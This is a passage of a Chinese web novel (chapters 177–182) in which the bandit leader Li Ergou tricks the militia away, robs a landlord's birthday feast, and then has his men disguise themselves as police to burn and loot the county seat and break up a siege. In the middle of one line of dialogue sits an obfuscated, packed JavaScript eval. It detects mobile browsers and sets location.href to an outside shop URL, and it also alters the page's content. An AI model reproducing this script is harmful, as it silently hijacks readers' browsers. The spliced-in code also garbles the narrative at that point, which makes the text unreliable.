孙竹刚说道:“兄弟的事就是我的事,说什么谢不谢的!说吧,什么事?” “大哥,凤凰镇民团队长张大发你认识吗?” “张大发?见过两次面,怎么了?他欺负你了?要是这样我揍他个小舅子。” “这倒没有,我想着这两天你能不能想想办法让他带着民团离开凤凰镇几天。” 孙竹刚在思索着李二狗的真实目的和办这件事的难易程度。 “二狗兄弟,这件事有点不好办,镇里民团和我们警察局也没有什么直接隶属关系,我也不好调动他们不是?” 李二狗笑道:“我倒是给大哥想到一个好主意,大哥先听听合不合适?” “什么主意?但说无妨!” “我建议县警察局组织一个对全县民团的轮训,帮助他们提升战斗力,我想上级一定会同意这个建议,可以先从凤凰镇民团开始。” 孙竹刚一听,拍案叫绝,这绝对是一个绝佳的主意。 帮助地方民团这群乌合之众提升战斗力,不仅可以得到上级领导的表扬,地方民团也会积极响应,自己还能趁机捞一笔。 “兄弟放心,明天一早我就去和牛局长提,他肯定同意。” “大哥,最好是后天就让凤凰镇民团来县里报到,最迟不能超过大后天。” 孙竹刚想了想,便一口应承下来。 第177章 拜寿 两人正说着话,严婆惜端着两盘凉菜走了进来。 “我包饺子还需要一些时间,你们哥俩先喝着。” 严婆惜放下谅菜,又去拿来一瓶酒。 “你陪二狗兄弟多喝点,喝多了也不怕,待会我去把床铺收拾出来,二狗兄弟今晚就住这。” 严婆惜把酒斟满,才笑靥如花地走了出去,临走还不忘给李二狗偷偷抛个媚眼。 李二狗再次有上了贼船的感觉。 “来,兄弟,咱哥俩喝一杯,不管你做什么,哥哥这边能帮得绝对不含糊。” 李二狗说道:“大哥办事真是敞亮,兄弟也绝对不会忘记大哥对我的好,来,我敬你一杯。” 推杯换盏之间,饺子端上桌的时候,孙竹刚已经趴在桌子上睡着。 严婆惜嘴都乐歪了。 “不能喝还硬喝,真是不稀说你,来,二狗兄弟,你帮嫂子一起,把你大哥扶到床上去。” 李二狗赶紧站起来,说道:“嫂子,我自己来。” “你大哥这么沉,你自己一个人能行吗?我们还是一起。” “嫂子,你松手,我自己来就行。” 两人拉拉扯扯之间,严婆惜总是把自己的身体蹭到李二狗身上,那种软软的麻麻的感觉令李二狗酒劲上涌,面红耳赤。 两人费了好大的劲才把孙竹刚弄到床上。 李二狗和严婆惜累得气喘吁吁,尤其是严婆惜看李二狗的眼神仿佛能滴出水来。 正在这时,孩子不合时宜地哭了起来。 “兄……弟,你快趁热吃饺子,我先去把孩子哄睡。” 李二狗看着严婆惜纤细的腰肢,知道今晚又是一个无眠的夜晚。 他就是这种命,想逃也逃不掉! 当张大发接到县警察局轮训通知的时候,高兴地手舞足蹈。 民团作为地方性自治组织,最难的就是得到地方政府的认可和支持。 能到县警察局参加轮训,不仅可以提升民团的战斗力,最重要的是能够得到官方的认可。 通知里说的很清楚,要求全员应训尽训,一个不漏,县警察局后期会根据本次参训人数提供必要的支持。 张大发带领凤凰镇民团全体人员浩浩荡荡地奔赴县警察局训练基地,开始了为期一周的训练。 与此同时,清风寨和沈家大院也同样忙得热火朝天,一个准备砸窑,一个准备过寿。 终于迎来了沈老太爷八十大寿这个普天同庆的日子。 李二狗作为胡家大院的管家,代表胡士高前来拜寿,光抬寿礼的家丁就带了五六个,他们个个身强体壮,一看就是训练有素之人。 沈必达穿着一身绫罗绸缎在门口迎客。 李二狗抱拳道:“沈少爷,恭喜恭喜啊,我们老爷在省城出差,实在是腾不出空,还请您和沈老太爷多多见谅。” 胡士高去省城治病的消息在十里八乡早就传开,现在胡家大院由李二狗当家主事,谁人不知,谁人不晓。 沈必达抱拳回礼道:“李管家,你太客气了,感谢大驾光临!待会一定要多喝几杯。” 看着胡家大院送来这么多寿礼,沈必达高兴地喜笑颜开。 “李管家,胡老爷实在是太客气了,这……怎么好意思呢。” 李二狗笑道:“沈老大爷德高望重,在咱们江东县,一提到沈老太爷谁不竖个大拇指?如今沈老太爷过八十大寿,这点心意根本不足以表达我们激动的心情。” “哈哈哈,李管家真是令人佩服啊,我沈家大院如果有你这样的管家,足慰平生啊。” “沈少爷过奖了。” 李二狗进入沈家大院,院内张灯结彩,锣鼓喧天,鞭炮齐鸣、人山人海。 “李管家,好久不见,别来无恙啊。” 李二狗转身一看,不禁吃了一惊,张大发笑容满面地走了过来。 “张队长,好久不见。” “走,去那边坐,我正有事要找你。” 张大发拉着李二狗来到一个稍微僻静的角落。 “张队长,我听说县警察局组织各地民团开展轮训,你们凤凰镇民团位列首位,恭喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822445|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恭喜啊。” 张大发笑道:“都是一些虚名罢了,管理太严格,我这费了好大的劲才请了一天假。” “沈老太爷德高望重,他过八十大寿,即使有天大的事也得来,张队长,你仁义啊。” “哈哈,李管家过奖了,”张大发诡秘一笑,“我们民团经费主要靠沈家大院支持,沈家这么大的事不来实在说不过去。” 张大发瞅了瞅四周,低声问道:“我听说胡老爷命不久矣,是不是真的?” 李二狗叹了一口气,说道:“张队长也不是外人,实不相瞒,确实是朝不保夕。” “胡老爷膝下只有一子,听说还是个傻子,以后胡家大院难道要女人当家?” 李二狗很奇怪张大发为何突然问这个问题,胡家大院谁当家和他有什么关系? “现在我们大奶奶怀着身孕,想来应该是她做主。” “李管家,你和她关系如何?” 李二狗故意面露不悦之色,问道:“张队长,你这话是什么意思?” 张大发急忙解释道:“李管家,你千万别误会,我不是那个意思。” “那你是什么意思?” “你也知道,我们凤凰镇民团规模越来越大,仅靠沈家大院确实难以维系日常开支,你们仙人洞镇又没有民团,我是想着,以后仙人洞镇的社会治安也由我们凤凰镇民团担任,你觉得此事怎么样?” 李二狗这才明白张大发的意思,原来他是想让胡家大院也出钱给凤凰镇民团。 “张队长,我个人十分赞成你这个提议,本来咱们两个镇子就离得不远,可现在胡老爷还在省城治病,恐怕还得再等等。” 张大发笑道:“还得请李管家多多美言几句,你放心,事成之后,我会建议由你来担任凤凰镇民团的副队长,虽然名义上是副队长,但咱兄弟之间谁跟谁啊,有事商量着来呗,你说是不是?” 李二狗心想,一个沈家大院每年出那么多钱还喂不饱你,还想把胡家大院拉进来,也不怕把自己撑死。 第178章 砸窑 “张队长请放心,我一定竭力促成此事。” 张大发显然没有料到李二狗会答应的如此痛快。 “那我就等李管家的好消息了。” “哈哈,这个好说,”李二狗表面淡定,内心却很着急,他怕张大发坏了自己的计划,“张队长,我帮你促成这么大的事,待会咱们可得多喝几杯啊。” “这个自然,这个自然,待会我多敬李管家几杯,咱们一醉方休,喝完酒我带你去个好地方,哈哈。” 张大发一脸淫笑。 很快戏班子就咿咿呀呀地唱了起来,台上台下,一片欢歌笑语,真是亲朋共享天伦乐,欢声笑语寿满堂。 李二狗和张大发推杯换盏,把酒言欢,觥筹交错,酒至半酣,泪洒滂沱忆当年。 “张队长,你知道吗?从我第一次见你,我就觉得你是一个能干大事之人,兄弟我佩服啊,来,我再敬你一杯。” 张大发已经喝得有些迷糊,他内心十分愿意结交李二狗这样是实权人物。 “李管家,来,干了!” “张队长,叫我二狗。” “二狗,叫我大发。” “大发,来,我们干了!” “谁不干谁是狗吊!干了!” 李二狗也没想到张大发酒量如此之大,他只能偷偷把酒倒在桌下。 张大发终于醉倒在桌上。 “张队长,张队长。” 李二狗喊了几声,张大发毫无反应。 这时,沈必达端着酒杯走过来敬酒。 “李管家,我敬你一杯,”他低头看了一眼趴在桌上的张大发,“张队长,我也敬你一杯。” 李二狗说道:“张队长太高兴了,喝多了,哈哈,来,咱们喝。” 两人干了一杯。 沈必达为人一向高傲,但胡家大院是江东县实力最强的地主大院,李二狗虽然只是一个管家,但代表的却是胡士高,沈必达必然要对他高看一眼。 沈必达拱手道:“李管家,照顾不周,还请见谅啊。” 李二狗突然一个站立不稳,差点摔倒在地上。 沈必达上前扶起李二狗,笑道:“李管家,你喝多了。” 李二狗口齿不清地说道:“沈少爷……你放心,我没喝多,你去忙吧,我……我来照顾张队长。” 沈必达招手叫过来两个家丁,吩咐道:“找一间客房,扶张队长和李管家去休息。” “沈少爷,我没喝多,咱们接着喝。” 沈必达说道:“李管家,你先去休息,等休息好了咱们再喝。” 家丁扶着李二狗和张大发去了客房。 “张队长,张队长……” 李二狗喊了几声,张大发早已醉得不省人事。 他便打开房门,走了出来。 李二狗带来的家丁里面有陈嘎子、张石头,他们两人一直盯着李二狗的动向,此时正在门口等候。 “嘎子、石头,天马上要黑了,你们现在去后门,解决掉后门看守,把兄弟们放进来,先把四周的角楼控制住,记住,尽量不放枪不伤人。” “好的,狗哥,我们现在就去。” 很快,沈家大院就传来一阵骚乱声。 “砰砰”两声枪响之后,又顿时安静下来。 陈老三蒙着面,拿着双枪,站在戏台上。 沈必达对身边的一个家丁说道:“快去找张队长,让他带民团过来。” 家丁说道:“少爷,民团正在县警察局轮训,恐怕一时半会儿赶不过来。” “妈的!一群废物!”沈必达骂道。 关键时刻掉链子! 土匪早不来晚不来,偏偏这个时候来,也太巧了! 沈必达压制着内心的恐惧,拱手道:“这位好汉,今天是我们家老爷子八十大寿,还请各位好汉给我们沈家大院一个面子,我们愿意奉上一千块大洋,还请高抬贵手!” 陈老三喝骂道:“妈了个巴子,拿一千块大洋就想打发我们,还不够老子喝奶的。” 沈老太爷已经吓得瘫在太师椅上,天天喝人奶,也没让他有副好身板。 “好汉,你说个数,我绝不还价!” “哈哈,我要所有!” “你……” 陈老三和沈必达扯皮的时候,弟兄们已经开始在沈家大院各处搜索,光晚上收到的贺礼就有几千块大洋。 半个时辰后,陈老三带着弟兄们扬长而去。 “爹,爹……” 沈老太爷寿终正寝,享年八十岁。 李二狗扶着张大发走了出来,张大发看到满地杯盘狼藉。 “沈少爷,这是……” “废物!你给我滚!”沈必达怒吼道。 张大发还要问,被李二狗一把拉住。 “大发,现在不是说话的时候,我们先出去再说。” 李二狗和张大发出了沈家大院,张大发的酒也醒了大半。 “这些可恶的土匪,老子要亲自带人剿灭他们。” “大发,现在不是意气用事的时候,军队警察都剿灭不了,咱们民团才有几个人?要是都折进去,以后谁还搭理咱们?” 一句话说到张大发心坎上,手里有枪,心中不慌,什么时候都不能干赔本买卖。 “现在怎么办?沈必达对我们民团一肚子意见,以后再想让沈家大院赞助民团,恐怕没那么容易了。” 李二狗说道:“大发,没事的时候谁会想起民团?出了事才更能体现民团的重要性。” “二狗,此话怎讲?” “这次土匪砸窑,很明显是他们提前知道你们民团去县里轮训,钻了空子,这不更能体现民团的重要性吗?民团在或者不在,区别一目了然,等民团轮训回来,不还得靠你们吗?他沈必达不是傻子,没有民团,他沈家大院的大门别想关的牢靠。” 张大发听完,不由得对李二狗刮目相看。 “二狗,听君一席话,胜读十年书,你以后一定要来民团帮我啊。” “沈家大院出事,各地地主大院又得紧张一段时间,相信我们老爷和大奶奶也会做出正确的选择,你说呢,大发兄弟?” “哈哈哈,那就全依仗二狗兄弟了,走,我带你去个好地方潇洒潇洒。” 饱暖思淫欲,这话放在张大发身上再合适不过了。 “大发,沈家大院刚刚出了事,我们老爷又不在家,我得赶紧回去,那些女人们离不开我。” “好好好,那咱们改日再聚。” 第179章 当官不为民做主,不如回家卖红薯 事后,李二狗亲自登门给孙竹刚送去五百块大洋,孙竹刚两口子对李二狗自然又是一番热情地招待。 沈必达这次吃了大亏,亲爹被当场气死,他岂能轻易咽下这口气。 在给沈老太爷办完丧事的第二天,他来到江东县,亲自找到县长王正直。 “王县长,这群土匪实在是毫无人性,在我爹过八十大寿当天来抢劫,竟把我爹当场气死,你一定要给我们沈家大院做主啊。” 王正直气的把办公桌拍的震天响。 “这群土匪,简直是无法无天!不消灭他们不知道还要危害多少无辜的百姓!你知道他们是哪里的土匪吗?” 沈必达说道:“他们没有报名号,我想应该是清风寨的土匪,他们山寨离我们凤凰镇最近。” 王正直对清风寨早有耳闻,他几次想剿灭这股土匪,但奈何清风寨占据有利地形,易守难攻,下面的人都不赞成,只能作罢。 他想借着沈家大院被抢这个契机,再次提出剿灭清风寨的提议。 “不剿灭这群土匪,我王正直誓不罢休!” 沈必达当即赞道:“王县长真是为民作主、心系百姓的好县长啊,我代表全县百姓感谢您为江东除害。” 王正直一脸严肃地说道:“当官不为民做主,不如回家卖红薯。” “王县长,我都不知道该说什么好了,”沈必达说着从兜里掏出两根金条放在桌上,“这是我的一点心意,请王县长笑纳。” “沈少爷,你这是做什么?你以为我安排剿匪只是为了你们沈家大院吗?我是为了全县的百姓,你快点把金条收回去。” 王正直嘴上说得正直,喉结处却不停地上下跳动。 “王县长,您别误会,俗话说,兵马未动,粮草先行,我这是捐给咱们县剿匪的费用,权当我们沈家为县里剿匪事业尽一点绵薄之力吧。” “沈少爷能有如此胸怀,我王某人实在是佩服,好吧,我就替县里暂且收下,你回去等我们的好消息吧。” 沈必达走后,王正直把金条拿在手里掂了掂,放进了自己衣兜里。 王正直召集县警察局、县保安团一起开会。 会上,当王正直提出准备剿灭清风寨的土匪时,立即遭到县警察局局长牛得水的反对。 “王县长,清风寨地形险要,易守难攻,上山只有一条狭窄的道路,可谓是一夫当关,万夫莫开,听说他们最近又购置了两门大炮,我们警察局这点家伙什真是攻不下清风寨啊。” 王正直早就料到警察局会如此说,他心中早有对策。 “牛局长,这次你不要担心,县保安团会抽调一个连的兵力协助你们剿匪,这种功在当代,利在千秋的事,我们不做就是失职啊。” 王正直说的慷慨激昂,一副痛心疾首的样子,牛得水不好再提反对意见。 “王县长,既然县保安团出面,我看还是由他们打主攻,我们警察局负责配合他们行动。” 县保安团团长梁有为本来就不愿意去做攻打清风寨这种毫无油水的差事,一听让他们打主攻,立马反驳道:“牛局长,清剿土匪本来就是你们警察局的责任,你怎么能推给我们保安团呢?” “是啊,牛局长,保境安民本来就是你们警察局的责任,我看你们就不要推辞了吧!” 牛得水只得说道:“王县长,既然让县保安团配合我们,为何只抽调一个连的兵力,我建议抽调一个营的兵力,彻底铲除清风寨这群土匪。” 梁有为说道:“牛局长有所不知,省里刚刚抽调我们两个营的兵力去打仗,我现在手里只有一个连的兵力,这不都给了你。” 话已至此,牛得水只能硬着头皮答应下来。 “既然大家都同意,那三天后佛晓发动进攻,一举歼灭清风寨。在这里,我再强调一下纪律,大家一定要注意保密,任何人不得提前把消息泄露出去,违者严惩不贷!” 散会后,牛得水闷闷不乐回到警察局。 孙竹刚走进来,问道:“局长,王县长叫你去开会干什么?” 牛得水指了指房门,孙竹刚立马领会,转身去把房门关上。 “竹刚,有件事还处于保密阶段,你出去千万不要乱说。” “放心吧,局长,我知道纪律。” “王县长计划清剿清风寨的土匪,让咱们警察局打主攻,县保安团抽调一个连的兵力配合咱们行动。” 孙竹刚大吃一惊,连忙说道:“局长,这事可不能答应啊,清风寨那地形,就是整个保安团都拉上去也未必能轻易攻下来啊。” 牛得水又何尝不知道清风寨易守难攻,他拿起茶杯,才发现里面没有水,“啪”的一声把茶杯砸到桌上。 孙竹刚连忙拿过茶杯,给茶杯蓄满水,放到牛得水面前。 “局长,此事就没有转圜的余地吗?” “王县长已经决定了,保安团也答应了,这事已经没有商量的余地,三天后佛晓展开全面攻击,一举拿下清风寨。” “局长,您听说了吗?清风寨自从朱重九死后,换了当家的,他们纪律严明、训练有力,还购买了两门山炮,实力早已今非昔比,我怕咱们贸然攻山肯定要吃大亏啊。” “咱们加上保安团的人,少说也有二三百人,兵力是他们的五六倍,再说保安团也有大炮,这次清风寨是在劫难逃了。” “可这种杀敌八百、自损一千的事情咱们做了又有什么意义呢?到头来损失的还是咱们警察局自己的力量。” “我也不想啊,可现在能有什么办法?你有办法吗?只要你有办法,我就不打!” 孙竹刚确实没有办法,他要有办法,早当局长了。 看孙竹刚不说话,牛得水说道:“你先去准备吧,先不要告诉弟兄们进攻清风寨的事,出发当天再宣布。” 孙竹刚从牛得水办公室出来,早已没有工作的心思,但他又不敢此时离开。 下班后,他立即开着警车直奔胡家大院。 第180章 要撤你们撤 李二狗见孙竹刚连夜开着警车过来,心中立即有了一种不祥的预感。 “大哥,这么晚了,你怎么来了?” 孙竹刚没有客套,直接开门见山地说道:“二狗兄弟,出大事了,县里已经决定三天后拂晓时清剿你们清风寨,我看你们还是快点撤离吧。” 李二狗倒并没有感到十分惊讶,他们刚刚抢劫完沈家大院,又当场气死沈老太爷,早就料定沈家不会善罢甘休。 “大哥,县里想清剿我们清风寨也不是一次两次了,想要攻上我们清风寨可没有那么容易啊。” “二狗兄弟,这次和以往不一样,王县长特意从县保安团抽调了一个连的兵力配合我们警察局行动,他们带有机枪和迫击炮,来者不善啊,我看你们还是暂时先避避风头吧。” 李二狗听后沉默了,如果县保安团配合警察局行动,确实有些棘手。 清风寨虽然占据地形优势,但毕竟只有六十多人,就是和他们拼消耗也是拼不起。 “大哥,多谢你特意赶来提醒,我今天就不留你了,我得马上上山和兄弟们商议商议接下来的应敌之策。” “我也得马上赶回县城,出来久了容易引起怀疑,兄弟,早做决定,别舍不得那些瓶瓶罐罐,打破了咱们可以再买,要是命没了,可就一切都没了。” “谢谢大哥,我知道了。” “好,兄弟保重,那我就先回了,你有事到家里找我。” 孙竹刚走后,李二狗连夜上了清风寨。 清风寨议事厅内灯火通明。 李二狗传达完江东县政府要清剿清风寨的消息之后,陈老三率先跳了出来。 “这些王八蛋,只要他们敢来,我他娘一炮能把他们全部干上天!” “三哥说的对,让这些不知道死活的家伙尝尝咱们大炮的威力。” 李二狗深知,清风寨寨务会虽然有五个人,但能拿主意的只有自己和宋孬蛋,其他人只会执行。 “孬蛋,你什么意见?” “狗哥,我觉得这次他们来者不善,连县保安团都出动了,我们必须谨慎应对!” 陈老三讥笑道:“孬蛋,你狗日的怎么又怂了?保安团又能怎样?他们刀枪不入吗?我就不信一炮干不翻他们!” “三哥,保安团和警察局不一样,他们有机枪,有大炮,属于部队编制,而且训练有素,又经历过战争的洗礼,咱们千万不要小瞧了他们!” “我看你小子还是怂了,咱们清风寨后山悬崖上不来,只有前山一条路,我一个人一门炮就能让他们上天无路,下地无门!” “三哥,我问你,咱们一共有多少发炮弹?” “二十多发啊,怎么了?”陈老三还是一脸的不服气。 “二十发炮弹,总有打光的时候吧?打光了怎么办?” 陈老三还真没想过炮弹打光了怎么办,但他嘴上不能输。 “炮弹打光了不还有枪吗?我用机枪突突了那帮龟孙!” “老三,你给我闭上你的鸟嘴,我们谈正事呢,你他娘捣什么乱?” 陈老三只得闭上嘴,还是一脸的不服气。 “这次敌人来势汹汹,不仅兵力是咱们的五六倍,听说还会携带机枪、迫击炮,如果硬拼,咱们很可能会寨破人亡,必须想一个万全之策。” “狗哥,你带着嫂子离开山寨,我们留下来和他们拼了!”陈老三还是忍不住插话道。 “对,狗哥,你带嫂子先离开,我们这些人无牵无挂的,和他们干就完了。”陈嘎子附和道。 “你们他娘的把我李二狗当成什么人了?贪生怕死?不仁不义?真要是死,大不了大家死在一起,脑袋掉了碗大个疤,我李二狗绝不做孬种。” 大家都被李二狗一番慷慨陈词感动了。 宋孬蛋说道:“狗哥,我认为大家说的对,你现在是胡家大院的管家,没必要留下来冒险,再说,你还有嫂子呢。” 李二狗最担心的还是李素文的安危。 “这个大家不必担心,明天一早先把素文和望冬送下山,我必须留下来和山寨共存亡!” “狗哥……” “好了,这事不必再争了,我已经决定了,咱们现在只讨论如何应对。” 众人一直讨论到天亮,也没有讨论出一个最终结果。 “狗哥,要不然咱们先撤出山寨,等官兵走了咱们可以再回来嘛。”宋孬蛋建议道。 如果撤出山寨,敌人攻上山肯定会一把火烧了山寨,山寨这么多年的苦心经营将毁于一旦。 撤出山寨,这是李二狗不得已才会做出的最后抉择。 “大家先做好两手准备吧,今天中午之前,如果我没有想出应敌之策,我们就撤出山寨。” “要撤你们撤,我坚决不撤!”陈老三倔脾气上来了。 “敢!只要老子一声令下,谁敢不撤,老子毙了他!” 李二狗盖棺定论,无人再敢争论。 “老三,你去帮着望冬收拾行李,一会先把她们送下山。” 李二狗的决定引起了李素文的强烈反对。 “我不下山,我要和你在一起。” “素文,你先听我说……” “我不听,我不听,你死了,你以为我还会苟活于世吗?” “素文,你要相信我,我不会死,你下了山我才能集中精力对付敌人,你留在这里我会分心的。” “如果你没事,我下山便没有必要,如果你有事,那我下山就更没有必要了。” 李二狗没想到李素文如此固执,同时也被她的深情打动。 “素文,听话,咱们一起下山,你别忘了,我是胡家大院的管家。” “你真的下山?” “当然,我只负责出主意,不信,你问老三。” 陈老三也不想望冬留在山寨,便说道:“嫂子,狗哥确实只负责出谋划策。” “那好吧,我告诉你,你必须好好的,你活我活,你死我死!” 李二狗抱着李素文,情浓处,吻得热烈而深沉。 陈老三看的心猿意马,只能对着望冬傻乐,望冬照例给了他一个大白眼。 第181章 你这主意真是妙 李二狗把李素文和望冬送到凤凰镇家中,便赶回胡家大院。 最近李二狗在胡家大院物色到一个新人选,此人名叫张二驴,本来是胡家大院米铺的一个掌柜。 李二狗发现这个人做事讲原则、为人正派,自己交办给他几件事,他都办得干净利索。 经过与于兰芝商议之后,李二狗把张二驴提拔为胡家大院二管家,协助自己管理胡家大院。 “二驴,最近我家里有点事情,我得离开大院几天,我不在的这段时间,你要看好大院,千万不能出任何乱子。” “李管家请放心,我一定守好门户。” 李二狗安排完胡家大院的事情之后,骑马直奔江东县城。 有几件事,昨晚没来得及和孙竹刚确认,他需要到县城亲自确认一下。 非常时期,李二狗没有直接去县警察局,而是来到孙竹刚家中。 严婆惜见到李二狗,两只眼睛直冒绿光。 “二狗兄弟,快进屋里说。” “嫂子,我找大哥有急事,麻烦你快给他打个电话,让他马上回家一趟。” “这么着急吗?你先进屋,咱们交流交流再给他打电话也不迟。” “嫂子,十万火急,我现在真的没有别的心思,请你理解。” 严婆惜这段时间已经和李二狗处出一定的感情,看他确实是有急事,便打消了和他单独交流的念头。 “二狗兄弟你先坐,我这就给你大哥打电话。” 严婆惜摸起电话,打给了孙竹刚。 孙竹刚听到李二狗到家中找他,知道他有急事,便急忙找个借口离开了警察局。 “二狗兄弟,你大哥到家还得十几分钟,要不咱们到卧室……” “嫂子,以后有的是时间,我今天真的有急事。” “嘻嘻,是嫂子着急了,我给你包饺子去,待会你吃完饭再走。” 李二狗心想,她去包饺子还能消停点,便说道:“谢谢嫂子,我还真饿了。” 很快孙竹刚便赶了回来。 “二狗兄弟,这么着急找我有什么事?” 李二狗低声问道:“大哥,我想问问,你们这次警察局是倾巢出动吗?” “是啊,除了留下几个值班的,其余全部参加行动。” “那保安团呢?” 这次行动,县保安团只派出一个连的兵力。 如若真想彻底铲除清风寨,为何只派一个连的兵力?这是李二狗百思不得其解的地方。 “都怪我,昨晚走的太匆忙了,没有和你说清楚,保安团大部分兵力都被省里抽去打老冯了,现在只有一个连的兵力,几乎也是倾巢而出。” 孙竹刚的话证实了李二狗的判断。 “大哥,你听听我这个主意可不可行?” 李二狗便附耳把自己的计划告诉了孙竹刚。 孙竹刚听后不禁拍案叫绝。 “二狗兄弟,你这主意真是妙啊,必能解清风寨之围。” “既然大哥也说妙,那我就赶紧回去准备了,还有,我想让大哥给准备二十件警察制服,不知道大哥方不方便?” 二十件警察制服,这不是少数,孙竹刚想了想,便说道:“好,我来想办法。” “大哥,今天晚上十点前务必把制服送到城郊的城隍庙,我安排人在那等你。” “好,二狗兄弟,我一定准时送到。时间紧迫,我就不留你了,等度过这次危机,咱们兄弟在一醉方休。” 听到李二狗要走,严婆惜赶紧走了进来。 “饺子马上包好了,二狗兄弟吃完再走吧,也不急在这一时。” “你懂什么?二狗兄弟有急事,耽搁一分钟都可能会丢掉性命。” 孙竹刚说得相当严肃,吓得严婆惜差点把手中的面杖掉到地上。 李二狗离开县城之后,骑马直奔清风寨。 陈老三是个急脾气,早已急得火上房。 “狗哥,想出主意了吗?我们到底撤不撤?” 李二狗表情凝重,他先是环视大家一圈,继而说道:“现在我来分配任务。” 凌晨十二点,宋孬蛋率领一支精干小分队潜伏在江东县城城郊城隍庙附近的一片树林里,所有人已经换上警察制服。 这里是从江东县城到清风寨的必经之路。 树林旁边有一处高坡,可以一览无余地看到江东县城城门。 宋孬蛋低头看了看手表,从江东县城到清风寨大约四十里路,部队行军至少需要四个多小时,要想在拂晓时对清风寨发动攻击,理想的出发时间正是凌晨十二点。 去晚了,耽误进攻时间,去早了,又有提前暴露的危险。 “蛋哥,你快看,城门打开了。” 陈嘎子手指城门方向,宋孬蛋放眼望去,果然有一支队伍从城门里走了出来。 李二狗安排自己和陈老三留在清风寨,安排宋孬蛋带着陈嘎子和张石头前往县城。 有宋孬蛋带队,李二狗才放心。 把陈老三留在山寨,宋孬蛋才好带队伍。 出城的队伍浩浩荡荡从树林旁边经过,果然带有机枪和迫击炮。 “蛋哥,他们人可真多,我们要想死守山寨肯定守不住。” “是啊,所以咱们这次行动事关山寨存亡,一定不能有任何闪失。” “蛋哥,我们几点进城?” 宋孬蛋低头看了看表,已经是凌晨一点。 何时进城,必须选择一个合适的时间点,这一点李二狗早有安排。 进城太早,出城清剿的队伍听到枪声会很快赶回来,他们有被围在县城的危险。 进城太晚,清剿的队伍便会对清风寨发动攻击,山寨便有被攻陷的危险。 李二狗经过周密计算,决定让宋孬蛋他们在凌晨一点半进城。 为了以防没有人及时向牛得水报信,李二狗还特意安排一个兄弟穿好警察制服,在县城出现变故后,立即骑马向牛得水报告。 “所有人注意了,我来传达老大命令,进城后,只许放火不许杀人,更不许做奸淫妇女、损害百姓之事,只许抢劫县政府、警察局和保安团,有违反命令者,杀无赦!大家听明白了吗?” “听明白了!” “进城后,我们兵分三路,我、陈嘎子、张石头各带一队人马,分别前往县政府、警察局和保安团,记住,动静闹得越大越好,一个小时后,我们还在这里集合。” “好!” “准备出发!” 第182章 围魏救赵 队伍快走到城门口时,宋孬蛋按照李二狗制定的计划特意留下两个人。 “你们别进城了,留在这里准备接应。” 宋孬蛋带着队伍来到城门口,城门紧闭。 “快开门,快开门!” 守城的只有两个保安团的士兵,他们站在城楼上,看到下面站着一队警察。 “你们干什么的?” “我们是县警察局的。” “县警察局的?你们不是刚刚出城去剿匪了吗?” “牛局长担心城内治安,特意安排我们回来,以防被土匪偷袭。” “那你们等着,我给开城门。” 打开城门后,宋孬蛋掏出一盒烟扔给守门的士兵。 “兄弟,辛苦了。” 士兵接过烟,开心的龇牙咧嘴。 “大家都一样,你们也辛苦了。” “兄弟,这么大的城门只有你们两个人看守,着实辛苦,需不需要我安排两个兄弟和你们一起看守?这样你们还能抽空打个盹。” 士兵一听,更开心了,真是刚想睡觉就有人送枕头。 “嘿嘿,这怎么好意思啊。” “咱们都是吃公家饭的兄弟,本就是一家人,还那么客气干啥?你们两个留下站岗,让保安团的兄弟去睡觉。” “那就谢谢兄弟了,改天我请你喝酒。” “好说,好说。” 宋孬蛋带着队伍大摇大摆地进了城。 “嘎子、石头,你们分别去警察局和保安团,记住,动静闹得越大越好,能不伤人就不伤人。” “你就擎好吧,蛋哥,我们去了。” “等等,狗哥特意交代,一定要把警察局和保安团的那些武器弹药都带走。” “嘿嘿,蛋哥放心,一颗子弹也不会给他们留下。” 宋孬蛋带着几个兄弟径直来到县政府,县政府大门口只有两个警察看守,看宋孬蛋等人穿着警察的服装,也没有防备。 “这么晚了,你们来干什么?” “牛局长不放心,安排我们几个在城里巡逻,可千万不能出什么乱子。” “放心吧,这里是县政府,谁吃了豹子胆敢来这里闹事?” “是啊,是啊,来,兄弟,抽支烟醒醒盹。” 宋孬蛋把烟递给他们的瞬间,已经有两个人从后面捂住他们的嘴,一掌劈晕了。 “先捆起来堵上嘴,扔到门后。” 宋孬蛋带人直接进了县政府。 “你们几个赶紧去放火,能烧的都给烧了。” 几乎同时,县政府、警察局和保安团全部燃起了冲天大火。 整个县城顿时乱成一团,烟尘四起,哭喊声、救火声、惨叫声不绝于耳。 王正直正趴在女人身上睡觉,被外面的吵闹声惊醒。 “怎么回事?怎么回事?” 管家慌慌张张跑进来。 “县长,不好了,不好了,有一伙土匪杀进县城,正在到处杀人放火,听说外面已经血流成河。” “警察局、保安团干什么吃得?怎么能让土匪摸进城来,老子要撤他们的职!” “县长,您忘了?他们都去剿匪了。” 王正直这才反应过来,立马说道:“快派人去把他们叫回来,保卫县城要紧!” 王正直派出的人还未出城,李二狗安排的人早已把江东县城遇袭的情况报告给了牛得水。 “梁团长,你看怎么办?县城遭袭,王县长要是出点差池,咱们可谁都担待不起啊!” 梁有为本来就不愿意剿匪,他立刻说道:“王县长的安危重要,咱们还剿什么匪啊?赶紧回援吧。” “所有人,立即跑步返回县城。” 当牛得水带领队伍返回县城的时候,宋孬蛋已经带着队伍走在返回清风寨的路上。 “蛋哥,这回咱们可发了,保安团那边缴获了三挺机枪,四门迫击炮,枪支弹药实在是太多了,根本拿不了,还好我急中生智,在附近一家店门口找了辆地排车,就这样都还装不下。” 陈嘎子高兴的和屁呲似的,宋孬蛋说道:“嘎子,回去这事可别和狗哥说,不然他肯定踢你。” “踢我?不赏我就算了,干嘛还踢我?” “狗哥再三交代,不拿百姓一针一线,你倒好,把老百姓的地排车都拉走了,你还好意思要奖赏?” 陈嘎子嘿嘿一笑,说道:“蛋哥,兄弟早就想到这一点了,我在老乡门口放了两块大洋,两块大洋足够买四五辆地排车了。” “你小子,真有你的。” 